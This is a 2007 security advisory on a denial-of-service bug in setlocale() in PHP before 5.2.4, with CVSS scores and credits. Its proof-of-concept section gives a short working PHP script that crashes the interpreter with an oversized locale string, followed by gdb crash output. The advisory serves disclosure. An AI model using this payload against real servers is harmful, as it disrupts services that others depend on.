PHP < 5.2.4 setlocale() denial of service
| Published | Credit |
Risk |
| 2007.09.12 |
laurent gaffie |
Low |
| CVSS Base Score |
Impact Subscore |
| Exploitability Subscore |
| 5/10 |
2.9/10 |
| 10/10 |
| Exploit range |
Attack complexity |
| Authentication |
| Remote |
Low |
| No required |
| Confidentiality impact |
Integrity impact |
| Availability impact |
| None |
None |
| Partial |
Application: PHP < 5.2.4
Web Site: http://php.net
Platform: unix
Bug: denial of service
fonction: setlocale()
special condition: default php-memory-limit
-------------------------------------------------------
1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========
"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."
======
2) Bug
======
setlocale() is vulnerable to a denial of service
=====
3)Proof of concept
=====
Proof of concept example :
<?php
setlocale(LC_COLLATE, str_repeat("A", 34438013));
?>
result:
(gdb) run ./1.php
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215805760 (LWP 10504)]
0xb78a584b in setlocale () from /lib/tls/i686/cmov/libc.so.6
========
4)Greets
========
Ivanlef0u,Deimos,benji,soh,and everyones on worldnet: #futurezone & #nibbles
=====
5)Credits
=====
Laurent gaffie
contact : laurent.gaffie (at) gmail (dot) com [email concealed]
stay tuned, site comming soon ....
ASCII VERSION
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